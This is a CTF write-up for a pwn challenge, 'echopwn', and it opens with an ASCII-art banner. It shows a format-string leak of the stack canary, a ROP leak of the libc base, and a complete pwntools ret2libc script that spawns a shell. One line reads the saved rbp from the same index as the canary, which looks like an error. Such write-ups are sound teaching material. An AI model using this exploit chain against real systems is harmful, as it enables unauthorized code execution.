WNKKKNW WXxc'...':d0NW W0d:..'cxxdl,..'cx0N NOo;..,lOXW WKkl,..,cxKW WXkl'..;o0N NKxc,..,lkXW WKxc'..:xKW N0xc'..;okXW N0d;..'lkXW N0dc'..:oOXW NOo,..,oON WNOd:'.':xX Kl'..;d0N WXx' .dW Wo 'xX WKxc'..c0 Ko;..,cxKN W0d:..'ckXW WKkl,..,lxKW NOo,..,lON W0l. .,lkKW WXkl'.. .:xKN N0d;..'cl:'..;okXW WKxc...:dOOd:'..,lxKW NOo,..,lONW WXOo:...;oOXW N0d;...cxKW WXOo:...:0W WO,..;d0N WXOo;...;ok0ko,..,lOXW Xx' .dW Wx. 'o0N WXkl;.....;o0N WXkl,..:xX W0d:'.,cx0N WKOkOKW WKx:..'ckXW WXOo:'.,cxKN N0d;. .cON W0l. ..,lkKW WNOl,..,,..'cd0N N0o;..'ckOxc'..,lkKW WKxc'..:xKWWKxl,..,cx0N WOl,..;oON N0dc'..;lkKW WKd:..'ckXW NKxc. .oN Wx. 'o0N WNOd:'..;lol;..,oON WXOl..'xW 0:..;oOXW WXOo:'.':d0N WXxc'.'ckXW WKxc,.':oOXW WNNNW WKd:..,oON N0xc,.':d0N N0o;..;d0N WN0d:'.'cd0N WXkl,.':xKW WN0d:'.,cx0N WKxc'.'lkXW WXOo:'.,cxKNWN0d:..,oONW WXOo;'.,;,..;d0N WXOdookKW
This was a pwn challenge finally rated with 316 points at DEKRA CTF. There was no description.
They give us a zip file with the binary, libc.so.6 and the dynamic linker.
First execution
When we first execute it we get:
❯ ./echopwn-bin
echo> hello
hello
echo> hi
So it looks like we put some input that is written back to us and finally put something again and the program exit.
The input is reflected back to us so it looks like a format string vulnerability?
❯ ./echopwn-bin
echo> %x %x %x
78252078 0 a24da980
echo> yeah
Yes! That worked. We can’t do anymore here. Let’s move on to the disassembler.
Reverse all the things
The dashboard of the binary showed us this information:
Wow, that looks pretty secure. Canary, NX bit, PIC…
If we want to make a buffer overflow we are going to need that canary. Luckly for us we know there is a format string vulnerability which will provides the solution for that problem! (At least we hope so)
Let’s move to the main function
Nothing interesting really. Let’s check what that doRead does.
Well, we can see a printf, then a gets, another printf and finally a gets again. That matches what we saw when we first run the binary.
Before leaving, it checks the canary so… yeah. Obviously we are dumping that canary.
Brainstorming
So the question is, now what? Well, there is no hidden function which contains the flag, no file loaded, no nothing. So we have to pop a shell.
The easiest way is to use libc to call execve or system with /bin/sh. To do that, we need to know where libc is loaded that particular execution (remember PIC?). We can leak that address because we know we can overflow with that final gets (as well as the first one, but that’s for other purposes)
But remember, there is canary so first we have to dump the canary (with the first gets) so the program doesn’t break.
Let’s build the exploit
Canary
First things first: the canary. We have to dump it to put it back when we overflow. We are using the format string to dump it. Let’s fire up gdb to find the exact spot.
I’m also using GEF which helps me with the debugging
Let’s run it with:
gdb echopwn
Then:
disass doRead
Let’s put a break at the end:
b *doRead + 0x153
And run it with r
Let’s put a bunch of %lx (so we don’t write over the canary):
And when we hit the breakpoint, check for $rbp - 0x8
Well, that doesn’t match any of the ones dumped. Let’s move to the next group. To access a specific item on the stack you can use: %n$lx, being n the number of the nth item on the stack so now we are sending: %5$lx %6$lx …
On that iteration we don’t get anything either. But finally:
echo> %10$lx %11$lx %12$lx %13$lx
33312520786c2432 555500786c24 55554040 afbf17a0d8f2bb00
Breakpoint 1, 0x00005555555548c9 in doRead ()
gef➤ x/2x $rbp-0x8
0x7fffffffdbc8: 0xd8f2bb00 0xafbf17a0
So the canary is on the 13th position!
Dump libc address
To dump the libc address we are going to print back to us the address of a function from libc. Then, because we have the binary file (libc.so.6), we can substract the base address of that function and get the offset.
We have gets
there so let’s use that function.
Remember! We have to redirect the execution back so the program doesn’t exit!
Pop that shell
To pop the shell, we are going to put the string ‘/bin/sh’ into the RDI register and then call the system
function from libc.
Time to build the script
You know, pwntools.
from pwn import *
p = process('./echopwn')
#p = remote('__________', _____)
elf = ELF('./echopwn')
libc = ELF('./.glibc/libc.so.6')
Get the canary and the address of the main function:
I’m also getting the rbp adddress so the stack doesn’t move to some weird address
p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
main = data.split(b'.')[3]
print('Canary is 0x' + canary.decode())
print('Main + 21 (0x0000000000000908) is 0x' + main.decode())
canary = int(canary, base=16)
main = int(main, base=16)
rbp = int(rbp, base=16)
Now, let’s get the libc base address. First, we need to find a ROP gadget to put the address of gets
into the RDI register:
I used ROPGadget to do this
$ ROPGadget --binary echopwn
...
0x0000000000000973 : pop rdi ; ret
0x000000000000068e : ret
...
We have the address, let’s send it. To calculate the binary offset, we know that the ret value is the address of the instruction in main after the call doRead
(0x908) so if we substract the address we get to that value, we have the offset:
binary_offset = main - 0x908
pop_rdi = p64(0x973 + binary_offset)
p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(binary_offset + elf.got["gets"]) + p64(binary_offset + elf.symbols["puts"]) + p64(binary_offset +elf.symbols["main"]))
Now, the final part. Receive the address:
glibc_dumped = p.recvuntil('\n')[:-1]
def pad_null_bytes(value):
return value + b'\x00' * (8-len(value))
glibc_base_address = u64(pad_null_bytes(glibc_dumped)) - libc.symbols["gets"]
print('Libc is at: ', hex(glibc_base_address))
And send the final exploit to pop the shell:
p.clean()
p.sendline('AAA.%13$lx.%14$lx.%15$lx')
data = p.recvuntil("\n")
canary = data.split(b'.')[1]
rbp = data.split(b'.')[1]
print('Canary is 0x' + canary.decode())
canary = int(canary, base=16)
rbp = int(rbp, base=16)
p.clean()
p.sendline(b'A' * 52 + p64(canary) + p64(rbp) + pop_rdi + p64(glibc_base_address + next(libc.search(b'/bin/sh'))) + p64(glibc_base_address + libc.symbols["system"]))
p.interactive()
Sweet!